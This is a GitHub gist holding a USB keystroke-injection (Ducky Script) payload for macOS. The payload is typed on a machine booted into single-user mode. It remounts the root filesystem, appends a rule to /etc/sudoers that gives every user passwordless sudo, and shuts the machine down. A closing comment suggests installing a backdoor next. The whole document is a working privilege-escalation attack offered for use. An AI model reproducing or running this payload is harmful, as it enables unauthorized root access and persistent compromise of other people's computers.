Created
April 18, 2018 01:06
-
-
Save JonnyBanana/bee22aa7bc18a43b58427157dd1f9f45 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM MacOS AllSudo | |
REM Enables Sudo access for all users without a password | |
REM First boot the machine into single user mode - https://support.apple.com/en-us/HT201573 | |
REM By Jesse Wallace (@c0deous) | |
REM https://c0deo.us/ | |
DELAY 1000 | |
STRING mount -uw / && chmod 755 /etc/sudoers && echo 'ALL ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers && chmod 440 /etc/sudoers && shutdown -h now | |
ENTER | |
REM Now would be a great time to install a backdoor. Ez root ;3 | |
REM TODO Use visudo for edits (unconfirmed if working) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment